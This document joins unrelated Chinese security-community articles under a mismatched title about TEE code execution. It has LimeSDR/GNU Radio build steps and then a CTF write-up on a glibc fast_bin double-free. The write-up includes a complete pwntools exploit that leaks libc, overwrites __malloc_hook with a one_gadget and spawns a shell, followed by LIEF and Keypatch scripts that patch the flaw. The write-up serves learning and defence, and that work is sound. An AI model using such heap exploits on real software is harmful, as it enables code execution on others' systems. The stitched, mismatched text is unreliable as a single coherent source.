在可信应用中获得代码执行大大增加了攻击面，因为攻击者可以与安全驱动程序和TEE内核系统交互。 | 社区文章 |
作者：BG7YWL@伏宸安全实验室
公众号：[伏宸安全实验室](https://mp.weixin.qq.com/s/so4XzPaYtzAvgbjarm_9fg "伏宸安全实验室")
#### 前言
LimeSDR 是一款完全开源的SDR产品，和 HackRF 一样，包括 PCB 设计图，FPGA 代码，HOST代码完全公开，方便研究和学习 SDR
系统原理。虽然市面上有很多 SDR 产品，但很少有像 LimeSDR 性价比这么高的。
LimeSDR 支持 100kHz 到 3.8GHz 频率范围，已经可以不需外置上变频器，即可完成短波应用的使用，另外LimeSDR
是一款完全开源的SDR产品包含了 2×2 MIMO 的支持，满足了大部分应用场景。
通过它的一些应用来了解一下其灵活性：
蜂窝网络、WiFi、蓝牙、IoT协议（LoRa/SigFox等）、导航、气象信息、航空信息、海事信息、空间通信、还有广播和电视。
这只是 LimeSDR 应用场景的一小部分，你可以应用到你能想到的任何领域。
#### 编译环境
##### 软件结构
Lime Suite 是一款支持多种硬件平台的软件，包括LimeSDR，LMS7002M收发器，以及使用基于 LMS7 开发的其他硬件。安装 Lime
Suite 可以使许多 SDR 应用程序（如GQRX）可以通过中间适配组件 SoapySDR 适配多种 SDR 设备配合使用。
SoapySDR 是位于 LimeSDR 的驱动程序和 SDR 应用程序之间的胶水层。使用一个简单的包装器 (SoapyLMS7), LimeSDR
可以在任何 SoapySDR 或 Gr-OsmoSDR 支持的应用程序中使用。这包括编程环境, 如 Pothos 框架和 GNU Radio，以及像
GQRX 和 CubicSDR 这样的图形应用程序。
##### 安装UHD
Wiki：<http://files.ettus.com/manual/page_build_guide.html>
$ sudo apt-get install libboost-all-dev libusb-1.0-0-dev python-mako doxygen python-docutils cmake build-essential git
$ git clone https://github.com/EttusResearch/uhd
$ cd uhd
$ cd host && mkdir build && cd build
$ cmake ../
$ make -j5
$ sudo make install
$ sudo ldconfig
##### 安装SoapySDR
Wiki：<https://github.com/pothosware/SoapySDR/wiki/BuildGuide>
$ sudo apt-get install cmake g++ libpython-dev python-numpy swig
$ git clone https://github.com/pothosware/SoapySDR.git
$ cd SoapySDR
$ git pull origin master
$ mkdir build && cd build
$ cmake ..
$ make -j5
$ sudo make install
$ sudo ldconfig
##### 安装SoapyUHD
Wiki：<https://github.com/pothosware/SoapyUHD/wiki>
$ git clone https://github.com/pothosware/SoapyUHD.git
$ cd SoapyUHD
$ mkdir build && cd build
$ cmake ..
$ make
$ sudo make install
##### 安装LimeSuite
Wiki：<http://wiki.myriadrf.org/Lime_Suite>
$ sudo add-apt-repository -y ppa:myriadrf/drivers
$ sudo apt-get update
$ sudo apt-get install git g++ cmake libsqlite3-dev libsoapysdr-dev libi2c-dev libusb-1.0-0-dev libwxgtk3.0-dev freeglut3-dev
$ git clone https://github.com/myriadrf/LimeSuite.git
$ cd LimeSuite
$ mkdir builddir && cd builddir
$ cmake ../
$ make -j5
$ sudo make install
$ sudo ldconfig
输入下列命令使非ROOT用户可以访问LimeSDR这样基于USB的设备
$ cd LimeSuite/udev-rules
$ sudo sh ./install.sh
安装上述驱动后，运行命令检查驱动是否安装成功
然后查看能不能找到设备
##### 安装GNU Radio、gr-osmosdr
Wiki：<https://www.gnuradio.org/doc/doxygen/build_guide.html>
从源码构建
$ sudo apt-get -y install git-core cmake g++ python-dev swig \
$ pkg-config libfftw3-dev libboost-all-dev libcppunit-dev libgsl0-dev \
$ libusb-dev libsdl1.2-dev python-wxgtk3.0 python-numpy \
$ python-cheetah python-lxml doxygen libxi-dev python-sip \
$ libqt4-opengl-dev libqwt-dev libfontconfig1-dev libxrender-dev \
$ python-sip python-sip-dev python-qt4 python-sphinx libusb-1.0-0-dev \
$ libcomedi-dev libzmq-dev
$ git clone --recursive https://github.com/gnuradio/gnuradio.git
$ cd gnuradio && mkdir build && cd build
$ cmake ../
$ make -j5
$ make test
$ sudo make install
安装gr-osmosdr支持包 Wiki：<http://osmocom.org/projects/gr-osmosdr/wiki>
$ sudo apt-get install libsoapysdr-dev gr-fcdproplus
$ git clone git://git.osmocom.org/gr-osmosdr
$ cd gr-osmosdr && mkdir build && cd build/
$ cmake ../
$ make
$ sudo make install
$ sudo ldconfig
安装之后，会看到Soapysdr support在Gnuradio enabled里
#### 测试LimeSDR接收、发射通道
GNU Radio和gr-osmosdr安装完成后，我们加载一个接收信号的grc流程图
Grc流程图下载地址：<https://1drv.ms/f/s!AsE4BpolygfCjGfspV7_Gno3rpy5>
RF增益设置为20，IF中频增益设置成12，BB基带增益设置成19
天线设置为LNAL 对应的是RX Channel 0
然后运行，按下遥控钥匙，可以看到成功接收到433MHz遥控钥匙的信号，说明GNU Radio和gr-osmosdr安装没有问题。
测试通完接收通道后，我们测试下发射通道，做一个小型FM电台试试
*注意请在不干扰正常无线通讯的基础上进行实验
在另一台电脑上打开SDRSharp将FM频率调到104MHz可以明显看到我们发射的信号
* * * | 社区文章 |
### 一、摘要
从一道简单fast_bin利用题，分析当前fast_bin attack的本质思想就是通过一系列的绕过check与伪造fast_bin freed
chunk
fd指针内容获得（malloc）一块指向目标内存的指针引用，如got表、`__malloc_hook`、`__free_hook`等引用，即可对其原来的函数指针进行改写，如改写为
`__free_hook`
为某处one_gadget地址，即可对目标程序流程进行控制，拿下shel;并以此题目介绍当前常用的三种patch手法：增加segment，修改section如
`.eh_frame`,IDA keypatch。断断续续入门pwn也有一段时间了，写下此文记录一段时间来的学习，供其他一路在学习的同志参考。
相关题目、源码、exp和patch脚本已经放在[github](https://github.com/thonsun/CTF/tree/master/patch)上可以自行下载参考练习。此处感谢sunichi师傅在patch一些技巧的指导。
### 二、漏洞分析
#### 2.1 题目描述
源码vul.c经过gcc默认编译成64位binary，检查开启的安全保护机制：
位置相关代码且开始Canary,NX保护，注意到Partial RELRO（Reloaction Read
Only）,表示可以可以覆写got表。进一步分析程序的执行流程：
典型的glibc
heap的题目，表示我们可以操作内存块。分析add_note,delete_note,show_note的函数执行逻辑，只在delete_note处发现存在Double
Free的漏洞
而程序的add_note只是简单的读入size个字符到分配的size大小的chunk，show_note把它以字符串形式打印出来
add_note:
show_note:
不存在UAF的漏洞，但由于存在Double Free,同样可以通过利用fast bin attack分配到一块指向got表项或者
`__malloc_hook` 或者 `__free_hook`
，修改其指针指向一个开shell(vul_func)的函数，即可达到控制程序流程的目的。此处选择覆盖
`__malloc_hook`进行利用，因为在每次调用malloc时候都会检查该函数是否被设置（大佬忽略），有关ptmalloc2内存分配的过程步骤详情参阅[CTF
wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/introduction-zh/)，在这里知道若覆盖了 `__malloc_hook`这些函数，在调用该函数即调用了我们定义的函数，执行shellcode。
#### 2.2 shellcode 技术
此处可以利用[one_gadget](https://github.com/david942j/one_gadget)或者ROP技术，选择one_gadget方便快捷，但有一些条件的限制，要寻得满足前提下的one_gadget地址（不同机器可能有所不同，exp里面的地址可能需要手动调整，我的机器为Ubuntu16.04LTS），在这里one_gadget可以这样理解：libc库给上层诸如IO函数提供支持，存在system("/bin/sh")执行返回结果，当然这样的代码对我们不可见，因其存在一个API函数内部的某一过程，但通过插件可以找到该语句的偏移与执行的前提条件，这就是one_gadget的原理。
### 三、漏洞利用
#### 3.1 泄露libc地址
要知道利用one_gadget工具查找libc的one_gadget只是一个偏移量，要想对
`__malloc_hook`函数进行覆写为调用该one_gadget,要寻得此时libc加载到内存的基址，shellcode的地址即为：libc_base
+ offset。
要泄露libc的地址，知道全局变量main_arena(记录此时进程的heap状况)为binary的动态加载的libc.so中.bss段中一个全局结构体，在内存映射中，偏移量是固定的，所以只需知道该main_arena此刻在内存地址和main_arena变量相对与libc.so中的偏移量即可计算libc基址：
libc_base = main_arena - main_arena_offset
对于linux的内存管理器，在使用free()进行内存释放时候，不大于max_fast（默认是64B）的chunk进行释放的时候会被放入fast_bin中，采用单链表进行组织，在下一次分配的采用LIFO的分配策略。而大于max_fast则被放入unsorted_bin，采用双向链表进行组织。当fast_bin为空的时候，大于max_fast的内存块释放时会填入fd,bk并且都指向main_arena结构体中的top_chunk。再次分配内存的时候并不会清空bk,fd的内容，通过show_note即可获得main_arena中top_chunk对于libc加载基址的偏移量。
# leak libc_base_address
add(0x500,'a') # 0
add(0x10,'a') # 1
free(0)
add(0x500,'a') # 2
gdb.attach()
show(2)
main_arena = p.recv(6).ljust(8,'\x00')
libc.address = u64(main_arena)-0x3c4b61 # 0x3c4b61位偏移量 61是因为填充了‘a’,0x61=a,小端序
1. 对于有符号的libc-dbg(如我在Ubuntu中装有带debug符号版本的libc-2.23.so)，可以直接在gdb中获取到该偏移量
因为unsorted_bin中填入fd、bk的是top_chunk的地址(在代码第7行进入gdb调试可以看到内存分布)
在free(0)后再次申请获得该内存add(0x500,'a')中进程中heap的状况：
在第一次add(0x500,'a')的时候再次add(0x10,'a')是为了让idx=0的chunk与top_chunk隔离，在free(0)没有与top_chunk合并，而是加入unsorted_bin，填入指向main_arena的fd、bk指针，使得再次add(0x500,'a')的时候可以获得libc的一个地址。
对于0x1dc7000的chunk,在经过释放再次申请时chunk中data:
可以看到unsorted_bin中chunk的bk是指向了main_arena的top_chunk域中，但此处fd != bk这是为什么？
因为是add(0x500,'a')再次从unsorted_bin中获得该chunk,Linux下小端序表示数，填入的'a'填充了fd的低一字节内容（即0x78
被 替换为
0x61），但这并不影响libc基址的计算：多次加载的libc中，偏移量不变，在gdb中获得某一次关于top_chunk指针域地址对于加载的libc的偏移量offset即可在以后泄露出top_chunk指针域地址ptr,这次加载的libc_base_address
= ptr - offset即可计算。
由于此处的ptr被写入的‘a’占去低位字节，此处的计算得来的offset也通过‘a’ = 0x61占位即可：
fd域内存小端序表示：
offset = 0x7f2d234bdb78 - 0x0x7f2d230f9000 = 0x3c4B78
用0x61占低位字节：offset = 0x3c4B61
即此题通过show_note(2)计算libc_base 地址：
show(2)
main_arena = p.recv(6).ljust(8,'\x00') # 只能接收fd的前6字节，00截断了
libc.address = u64(main_arena)-0x3c4b61
2. 对于无debug符号的libc则可以通过IDA静态分析该libc.so获取到该偏移量：
如利用malloc_trim函数中：
1. dword_3C4B820即为main_arena结构体对应与libc加载基址的偏移量。
相关源码可以确定：
int
__malloc_trim (size_t s)
{
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init ();
mstate ar_ptr = &main_arena;
do
{
__libc_lock_lock (ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
__libc_lock_unlock (ar_ptr->mutex);
ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);
return result;
}
#### 3.2 非法内存获取
要想对 `_malloc_hook` 进行覆写，首先要获得该地址处的指针引用（这也是glibc heap
exploit的一个思想，通过各种利用技巧获得对目标地址的一个引用，进而修改内存中内容）。对于fast_bin中，释放小于max_fast的chunk都将采用单向链表插入到fast_bin进行管理，即通过fd指针指向下一块的内存地址，在malloc中，fast_bin中满足大小的chunk将优先得到分配。
题目存在double
free漏洞，即可以在一个fast_bin单链中存在两处某一chunk的引用。第一次获得该chunk后可以通过覆写fd域内容为一个地址指针（fake
fast_bin
chunk）,在后面存在该chunk的引用由于fd修改，该地址被加入到该大小的fast_bin链表中。即经若干次malloc该大小的fast_bin，可以获得该目标地址的引用。如图所示，fast_bin
attack的利用流程，即时没有UAF，也可以通过Double Free分配到一个目标地址进行覆写：
值得注意的是，fast_bin 在分配的时候加入了检查：
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))//搜索fast_bin
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))//fast_bin中的victim（选中的chunk）的size检查
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
若bin中的chunk的size域不满足bin的索引关系会报错：这给我们不能随意构造chunk都可以满足。要对目标地址进行小小改动，绕过此处的检查。
要想通过fast_bin获得 对 `__malloc_hook`地址处的引用，可以看其附近的内存信息，从中找出满足size要求的chunk构造
通过gdb可以查看到 `__malloc_hook`的地址与及附近的内存信息（带debug符号信息的libc）
查看进程max_fast的最大分配内存：
由于 `fastbin_index (chunksize (victim)) != idx` 只会检查
chunk中size字段的最后一字节（且后4位也只是作为标志位也不校检）作为大小校验：
小端序表示的数：即最低位的一字节为size大小。 `__malloc_ptr` -0x10
-3地址引用的chunk中size可以通过0x70的校验。0x70 <
0x80在fast_bin的管理范围内。所以通过连续分配0x68的大小的chunk可以伪造如利用图示的bin链表：
# double free
add(0x68,'a') # 3
add(0x68,'a') # 4
free(3)
free(4)
free(3)
print "__malloc_hook address:",hex(libc.symbols['__malloc_hook'])
add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存
add(0x68,'a')
add(0x68,'a') # 露出伪造到libc的地址,即最后一块fake fast_bin chunk(目标地址)
one_gadget = 0xf02a4
add(0x68,'y'*3+p64(libc.address + one_gadget)) # 覆写 __malloc_hook函数指针为one_gadget
之所以要
free(3)
free(4)
free(3)
是因为glibc在free的时候加入对fast_bin的检查：(只检查fast_bin头部与待free的chunk不同即可)
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
#### 3.3 寻找gadget
由3.1知道，one_gadget找到的地址有很多，要选用哪个这是经过调试选择满足条件的gadget地址：（所以利用one_gadget有一定的限制，此处为了方便没有采用ROP技术）
找到即将调用one_gadget处的上下文环境：
在rsp+0x50处找到满足条件的one_gadget地址：libc_base + 0xf02a4
#### 3.4 触发利用漏洞
通过上述过程，`__malloc_hook`处已经不为0了，被修改为了gadget处的地址，即再一次add_note调用malloc将进入
`__malloc_hook` 执行one_gadget,即开shell。
完整exp:
#!/usr/bin/python
# coding:utf-8
from pwn import *
p = process("./vul")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,data):
p.sendafter("choice:","1")
p.sendafter("size:",str(size))
p.sendafter("write:",data)
def free(idx):
p.sendafter("choice:","2")
p.sendafter("index:",str(idx))
def show(idx):
p.sendafter("choice:","3")
p.sendafter("index:",str(idx))
# leak libc base address
add(0x500,'a') # 0
add(0x10,'a') # 1
free(0)
add(0x500,'a') # 2
show(2)
main_arena = p.recv(6).ljust(8,'\x00')
libc.address = u64(main_arena)-0x3c4b61 # leak 到 libc的基址 0x61 = a
# double free
add(0x68,'a') # 3
add(0x68,'a') # 4
free(3)
free(4)
free(3)
print "__malloc_hook address:",hex(libc.symbols['__malloc_hook'])
add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存
add(0x68,'a')
add(0x68,'a') # 露出伪造到libc的地址,即最后一块fake fast_bin chunk(目标地址)
one_gadget = 0xf02a4
add(0x68,'y'*3+p64(libc.address + one_gadget))
p.interactive()
### 四、patch修补
此处漏洞的成因在与存在一个Double
Free的漏洞，使得同一块内存可以在fast_bin中存在两次的单链，使得可以构造一个fake_fast_bin_chunk（目标内存地址），通过fast_bin的内存分配过程获得该内存的指针引用，对其内容（`__malloc_hook`）进行覆写，达到控制程序流程。
所以要对vul进行patch修复，要在free()后对全局指针引用置零。
当然比赛中我们是没有获取到源码的，要在原binary对程序进行打patch，要知道对binary某函数处想要添加一句代码，不是单纯的“添加”，此处详细介绍当前AWD下对bianry的patch手法：包括利用call的函数hook,jmp的函数跳转，利用LIEF编程与使用IDA神器插件Keypatch，各有各有点，请斟酌服用。
要想在原binary的delete_note函数增加对note[idx] = 0的语句：用A&T语法表示
/*重新获取idx*/
"mov -0x4(%rbp),%eax\n"
"cdqe\n"
/* ptr = NULL,段寄存器不能传立即数*/
"mov $0x0,%ecx\n"
"mov %ecx,0x6020e0(,%rax,8)\n" /*ds:note[idx]*/
#### 4.1 使用lief
lief可以将一个bianry内的机器代码写进另外一个binary中，在patch中通常表现为：
1. 增加一个段(对原binary的大小将变化很大)
2. 修改题目bianry中原来的其他段的内容，通常是eh_frame，
对函数内容逻辑的修改（hook）可以通过：
1. 对call 函数的hook。
2. 使用jmp跳转方式实现逻辑的添加。
对整个函数进行hook修改要实现内部大部分的原来的逻辑，像要对该fast_bin的patch，要在free()后增加一句置0的操作，采用call进行hook就要重新实现delete_note的逻辑，并增加置零的语句；而通过jmp方式只需在某处跳转到如写入.eh_frame段中代码，只需增加少部分代码即可实现，但对于call的hook在patch
off-by-one漏洞就可以在hook整个函数的时候，修改传入的size大小，再次调用原来的函数，也可以是少量的代码。
##### 4.1.1 Add segment
**编写hook函数：**
首先要编写我们的hook函数，通常是手写汇编代码，指令格式为A&T指令格式，静态编译为一个位置无关代码二进制文件：
* 位置无关代码：-fPIC
* 不是用外部的库如libc.so：-nostdlib -nodefaultlibs
组合起来的编译gcc命令：
gcc -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook
其中hook.c是我们自己手写的A&T指令格式的汇编代码文件
void my_delete_note(){
asm(
"sub $0x10,%rsp\n"
"mov $0x400c87,%edi\n"
"mov $0x0,%eax\n"
/*call printf*/
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"mov $0x0,%eax\n"
/*call read_int*/
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
/* save idx to [rbp-4]*/
"mov %eax,-0x4(%rbp)\n"
/* load idx from [rbp-4]*/
"mov -0x4(%rbp),%eax\n"
"cdqe\n"
/* load ptr from ds:note[rax*8]*/
"mov 0x6020e0(,%rax,8),%rax\n"
"test %rax,%rax\n"
/*jmp short print nosuchnote*/
/* 0x2d2-2 此处偏移量可以通过 objdump -d hook可以查看到*/
"nop\n"
"nop\n"
/*end jmp*/
"mov -0x4(%rbp),%eax\n"
"cdqe\n"
"mov 0x6020e0(,%rax,8),%rdi\n"
/*call free*/
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
/* call后rax发生变化，重新load idx */
"mov -0x4(%rbp),%eax\n"
"cdqe\n"
/* ptr = NULL,段寄存器不能传立即数，此处为 note[idx] = 0的汇编*/
"mov $0x0,%ecx\n"
"mov %ecx,0x6020e0(,%rax,8)\n"
/*end*/
/*jmp end delete_func*/
/* 0x2dc-2*/
"nop\n"
"nop\n"
/*print nosuchnote*/
"mov $0x400C8E,%edi\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
/*end delete_func*/
//有函数的调用要自己处理栈平衡
"add $0x10,%rsp\n"
);
}
关于A&T指令格式的hook代码文件的编写注意点
1. 对于把hook的函数作为一个新段添加到题目bianary中，写成一个函数的形式，asm()里面控制栈平衡。
2. 对于要发生指令跳转，函数调用的地方，如此处的jmp xx,call free等，因为没有能够确定目标的地址，先用nop进行占位，因为对于call func的机器指令长度我们是可以知道的（通常是5 bytes E8 xx xx xx xx）且函数调用的地址计算采用相对地址寻址的补码形式，而对于jmp，存在近跳转、短跳转、远跳转的区别，指令的长度也不一样。[详细](https://blog.csdn.net/YSBJ123/article/details/51645831)
3. 对于A&T指令格式，常用的是mov指令格式和寻址方式，如此处对于mov ds:note[rax*8],rax:
* 转为A&T指令：mov %rax, 0xxxxxx(,%rax,8) / _ds:note 可以在binary中找到_ /
* 对于段寻址：不能直接数传给段寄存器
更多关于A&T指令格式注意点在用到去查阅。
**对binary进行patch:**
import lief
from pwn import *
def patch_jmp(file,op,srcaddr,dstaddr,arch="amd64"):
length = (dstaddr-srcaddr-2) # 近掉跳转的patch
print hex(length)
order = chr(op)+chr(length)
print disasm(order,arch=arch)
file.patch_address(srcaddr,[ord(i) for i in order]) # 对指定地址写入代码
def patch_call(file,srcaddr,dstaddr,arch="amd64"):
length = p32((dstaddr-srcaddr-5)&0xffffffff)
order = "\xe8"+length
print disasm(order,arch=arch)
file.patch_address(srcaddr,[ord(i) for i in order])
# add hook's patched func to binary as a new segment
binary = lief.parse("./vul")
hook = lief.parse("./hook")
print hook.get_section(".text").content
print hook.segments[0].content
segment_added = binary.add(hook.segments[0])
hook_fun = hook.get_symbol("my_delete_note")
print hex(segment_added.virtual_address)
print hex(hook_fun.value)
# hook call delete_note
dstaddr = segment_added.virtual_address + hook_fun.value
srcaddr = 0x400B9A
patch_call(binary,srcaddr,dstaddr)
# patch print_inputidx
dstaddr = 0x400760
srcaddr = segment_added.virtual_address + 0x2f2 # 该数字为hook函数中nop填充的偏移量
patch_call(binary,srcaddr,dstaddr)
# patch call read_int
dstaddr = 0x4008d6
srcaddr = segment_added.virtual_address +0x2fc
patch_call(binary,srcaddr,dstaddr)
# patch call free
dstaddr = 0x400710
srcaddr = segment_added.virtual_address + 0x323
patch_call(binary,srcaddr,dstaddr)
# patch call puts
dstaddr = 0x400740
srcaddr = segment_added.virtual_address + 0x340
patch_call(binary,srcaddr,dstaddr)
# patch jz printnosuchnote short jmp
dstaddr = segment_added.virtual_address+0x33b
srcaddr = segment_added.virtual_address+0x314
patch_jmp(binary,0x74,srcaddr,dstaddr)
# patch jmp end_func
srcaddr = segment_added.virtual_address + 0x339
dstaddr = segment_added.virtual_address + 0x345
patch_jmp(binary,0xeb,srcaddr,dstaddr)
binary.write("patch_add_segment")
从上面从编写hook函数到指令地址修改，对整个delete_note函数实现的工作量是相对比较大：
可以看到vul程序从原来调用delete_note的函数到调用一个新段的函数sub_8032E0
而sub_8032E0的实现逻辑
添加了对指针noet[idx] = 0（free 后指针置0）的操作，修补了fast_bin attack：
可以看到通过增加段的操作原binary大小增加了很多
##### 4.1.2 modify .eh_frame
在4.1.1中通过增加段的形式插入自己实现的hook函数my_delete_note，添加对free(note[idx])的指针置0操作，可以看见对原程序的大小增加很大，某些比赛可能不能过check,此处通过把hook函数写入原binary的.eh_frame段中，即可在不增加程序大小的前提下实现对原delete_note函数进行hook修改，增加指针置零操作。
###### 4.1.2.1 call 函数hook
**编写函数**
asm(
"push %rbp\n"
"mov %rsp,%rbp\n"
"sub $0x10,%rsp\n"
"mov $0x400c87,%edi\n"
"mov $0x0,%eax\n"
/*call printf*/
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"mov $0x0,%eax\n"
/*call read_int*/
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
/* save idx to [rbp-4]*/
"mov %eax,-0x4(%rbp)\n"
/* load idx from [rbp-4]*/
"mov -0x4(%rbp),%eax\n"
"cdqe\n"
/* load ptr from ds:note[rax*8]*/
"mov 0x6020e0(,%rax,8),%rax\n"
"test %rax,%rax\n"
/*jmp short print nosuchnote*/
/* 0x2d2-0x2ad-2 */
"nop\n"
"nop\n"
/*end jmp*/
"mov -0x4(%rbp),%eax\n"
"cdqe\n"
"mov 0x6020e0(,%rax,8),%rdi\n"
/*call free*/
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
//在函数调换之后所有寄存器可能已经改变（程序流程不可靠，所以要重新计算）
"mov -0x4(%rbp),%eax\n"
"cdqe\n"
/* ptr = NULL,段寄存器不能传立即数*/
"mov $0x0,%ecx\n"
"mov %ecx,0x6020e0(,%rax,8)\n"
/*end*/
/*jmp end delete_func*/
/* 0x2dc-0x2d0-2*/
"nop\n"
"nop\n"
/*print nosuchnote*/
"mov $0x400C8E,%edi\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
/*end delete_func*/
"leave\n"
"ret\n"
);
**静态编译：**
gcc -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook
**LIEF脚本patch**
import lief
from pwn import *
def patch_jmp(file,op,srcaddr,dstaddr,arch="amd64"):
length = (dstaddr-srcaddr-2)
print hex(length)
order = chr(op)+chr(length)
print disasm(order,arch=arch)
file.patch_address(srcaddr,[ord(i) for i in order])
def patch_call(file,srcaddr,dstaddr,arch="amd64"):
length = p32((dstaddr-srcaddr-5)&0xffffffff)
order = "\xe8"+length
print disasm(order,arch=arch)
file.patch_address(srcaddr,[ord(i) for i in order])
# add hook's patched func to binary as a new segment
binary = lief.parse("./vul")
hook = lief.parse("./hook")
hook_func_base = 0x279
hook_sec = hook.get_section(".text")
bin_eh_frame = binary.get_section(".eh_frame")
print hook_sec.content
print bin_eh_frame.content
bin_eh_frame.content = hook_sec.content
print bin_eh_frame.content
# hook call delete_note
dstaddr = bin_eh_frame.virtual_address
srcaddr = 0x400B9A
patch_call(binary,srcaddr,dstaddr)
# patch print_inputidx
dstaddr = 0x400760
srcaddr = bin_eh_frame.virtual_address + (0x28b-hook_func_base)
patch_call(binary,srcaddr,dstaddr)
# patch call read_int
dstaddr = 0x4008d6
srcaddr = bin_eh_frame.virtual_address +(0x295-hook_func_base)
patch_call(binary,srcaddr,dstaddr)
# patch call free
dstaddr = 0x400710
srcaddr = bin_eh_frame.virtual_address + (0x2bc-hook_func_base)
patch_call(binary,srcaddr,dstaddr)
# patch call puts
dstaddr = 0x400740
srcaddr = bin_eh_frame.virtual_address + (0x2d9-hook_func_base)
patch_call(binary,srcaddr,dstaddr)
# patch jz printnosuchnote short jz
dstaddr = bin_eh_frame.virtual_address+(0x2d4-hook_func_base)
srcaddr = bin_eh_frame.virtual_address+(0x2ad -hook_func_base)
patch_jmp(binary,0x74,srcaddr,dstaddr)
# patch jmp end_func
srcaddr = bin_eh_frame.virtual_address + (0x2d2-hook_func_base)
dstaddr = bin_eh_frame.virtual_address + (0x2de-hook_func_base)
patch_jmp(binary,0xeb,srcaddr,dstaddr)
binary.write("patch_md_ehframe")
patch的效果：
delete_note函数被hook修改调用为eh_frame处的sub_400D70
sub_400D70的实现
patch前后的程序大小：
同样是增加一个函数，大小没有发生变化，因为代码都写入了原binary的.eh_frame段了。
对于exp的抵御：
###### 4.1.2.2 jmp实现的hook
上面的方法都是通过对整个函数逻辑进行重写，为的就是添加一句free后的指针置零操作，工作量太大。patch中jmp的方式实现函数逻辑的添加更为方便简单。对需要添加逻辑的部分，在原程序中合适位置中jmp
跳转到 修改的.eh_frame处，执行完毕后（指针置零）再次jmp跳转到原成功的逻辑。此处涉及到jmp的跨段的长跳转，寻址方式与call的计算一样。
**编写hook逻辑**
asm(
"mov -4(%rbp),%eax\n"
"cdqe\n"
"mov 0x6020e0(,%rax,8),%rax\n"
"test %rax,%rax\n"
/*jz puts nosuchnote */
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"mov -4(%rbp),%eax\n"
"cdqe\n"
"mov 0x6020e0(,%rax,8),%rdi\n"
/*call free*/
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"mov $0x0,%ecx\n"
"mov -4(%rbp),%eax\n"
"cdqe\n"
"mov %ecx,0x6020e0(,%rax,8)\n"
/*jmp back to end*/
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
);
可以看到实现的只是其中的一部分内容，工作量减少：
在原来调用if-else的判断逻辑处进行跳转，loc400D70是我们上述汇编实现的if-else判断处理，增加了对free后的指针置零操作，原本的if-else逻辑被弃用。
**LIEF脚本patch地址**
import lief
from pwn import *
def patch_jmp(file,srcaddr,dstaddr,arch="amd64"):
length = p32((dstaddr-srcaddr-5)&0xffffffff) # long jmp address calc
print length
order = "\xe9"+length
print disasm(order,arch=arch)
file.patch_address(srcaddr,[ord(i) for i in order])
def patch_jz(file,srcaddr,dstaddr,arch="amd64"):
length = p32((dstaddr-srcaddr-6)&0xffffffff)
order = "\x0f\x84"+length
print disasm(order,arch=arch)
file.patch_address(srcaddr,[ord(i) for i in order])
def patch_call(file,srcaddr,dstaddr,arch="amd64"):
length = p32((dstaddr-srcaddr-5)&0xffffffff)
order = "\xe8"+length
print disasm(order,arch=arch)
file.patch_address(srcaddr,[ord(i) for i in order])
# add hook's patched func to binary as a new segment
binary = lief.parse("./vul")
hook = lief.parse("./hook")
hook_func_base = 0x279
hook_sec = hook.get_section(".text")
bin_eh_frame = binary.get_section(".eh_frame")
print hook_sec.content
print bin_eh_frame.content
bin_eh_frame.content = hook_sec.content
print bin_eh_frame.content
# hook delete_note to eh_frame
dstaddr = bin_eh_frame.virtual_address
srcaddr = 0x400A15
patch_jmp(binary,srcaddr,dstaddr)
# patch jz put_nosuchnote
dstaddr = 0x400A3E
srcaddr = bin_eh_frame.virtual_address + (0x289-hook_func_base)
patch_jz(binary,srcaddr,dstaddr)
# patch call free
dstaddr = 0x400710
srcaddr = bin_eh_frame.virtual_address + (0x29c-hook_func_base)
patch_call(binary,srcaddr,dstaddr)
# patch jmp back to delete_note end
dstaddr = 0x400A48
srcaddr = bin_eh_frame.virtual_address + (0x2b2 - hook_func_base)
patch_jmp(binary,srcaddr,dstaddr)
binary.write("patch_jmp_ehframe")
**patch的效果：**
main函数主循环中的delete_note调用没有hook,但是delete_note里面的逻辑已经发生改变
增加了free后指针置0操作
对fast_bin attach的防御：
#### 4.2 使用Keypatch
上面都是通过编程的手段对binary进行patch，不方便之处就是处理两个binary间的指令跳转的地址计算，通过lief提供的API函数获得加载基址与计算的偏移量，对脚本的nop占位进行修改，人工计算汇编间地址比较多，如ds:note[rax*8]的计算等。一种方便的快速patch手段是使用IDA的第三方插件Keypatch，可以省去这些binary内部符号的地址计算与编写脚本的工作，直接写汇编进keypatch，它会自动编码成二进制指令并插入到指定地方。[官方文档](http://www.keystone-engine.org/keypatch/)
支持的修改：
* patcher ：对指定一行汇编的修改，覆盖原来的机器指令。
* fill range：对指定范围的指令进行覆写。（通常用于.eh_frame写入多行逻辑处理指令）
* undo：撤销上一步patch修改
